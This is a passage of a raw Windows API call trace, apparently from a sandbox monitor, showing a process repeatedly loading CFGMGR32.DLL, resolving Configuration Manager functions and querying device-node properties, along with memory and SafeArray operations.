returned 0x7ffa786c9760 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.192] malloc (_Size=0x18) returned 0x196ef0d1960 [0185.192] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x18, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0185.192] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0185.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4f3cee3e, dwHighDateTime=0x1d9eb0c)) [0185.192] SetEvent (hEvent=0x248) returned 1 [0185.350] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.350] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.353] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.354] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.354] malloc (_Size=0x18) returned 0x196ef0d1f60 [0185.354] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.354] malloc (_Size=0x48) returned 0x196ef0fbae0 [0185.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f5458ae, dwHighDateTime=0x1d9eb0c)) [0185.356] SetEvent (hEvent=0x248) returned 1 [0185.360] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.360] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.362] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.363] malloc (_Size=0x18) returned 0x196ef0d1960 [0185.363] CM_Get_Device_IDA (in: dnDevInst=0x19, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0103\\0") returned 0x0 [0185.363] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0185.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4f56bcbd, dwHighDateTime=0x1d9eb0c)) [0185.363] SetEvent (hEvent=0x248) returned 1 [0185.365] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.365] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.368] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.368] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0185.368] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0185.368] malloc (_Size=0x5a) returned 0x196ef0d06f0 [0185.368] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d06f0, pulLength=0x67117d608) returned 0x0 [0185.369] free (_Block=0x196ef0d06f0) [0185.369] malloc (_Size=0x48) returned 0x196ef0fbc20 [0185.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f56bcbd, dwHighDateTime=0x1d9eb0c)) [0185.369] SetEvent (hEvent=0x248) returned 1 [0185.371] malloc (_Size=0x18) returned 0x196ef0d1c40 [0185.371] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.372] free (_Block=0x196ef0d1c40) [0185.372] malloc (_Size=0x18) returned 0x196ef0d2020 [0185.372] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.372] free (_Block=0x196ef0d2020) [0185.372] malloc (_Size=0x18) returned 0x196ef0d1c40 [0185.372] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0185.372] free (_Block=0x196ef0d1c40) [0185.372] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855060 [0185.372] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0185.372] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0185.372] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0185.372] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6260 [0185.372] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0185.372] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0185.372] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0185.373] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0185.373] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e470, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.373] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e478, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.373] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e480, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.374] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6260) returned 1 [0185.374] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855060) returned 1 [0185.374] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.374] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.375] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.376] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.377] malloc (_Size=0x18) returned 0x196ef0d1f20 [0185.377] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0185.377] malloc (_Size=0x48) returned 0x196ef0fbb30 [0185.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f591d56, dwHighDateTime=0x1d9eb0c)) [0185.378] SetEvent (hEvent=0x248) returned 1 [0185.379] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.380] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.382] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0185.382] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.388] malloc (_Size=0x48) returned 0x196ef0fbd10 [0185.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f5b9ec3, dwHighDateTime=0x1d9eb0c)) [0185.388] SetEvent (hEvent=0x248) returned 1 [0185.390] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.390] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.393] malloc (_Size=0x18) returned 0x196ef0d1980 [0185.393] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.393] malloc (_Size=0x48) returned 0x196ef0fc030 [0185.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f5b9ec3, dwHighDateTime=0x1d9eb0c)) [0185.394] SetEvent (hEvent=0x248) returned 1 [0185.574] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.574] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 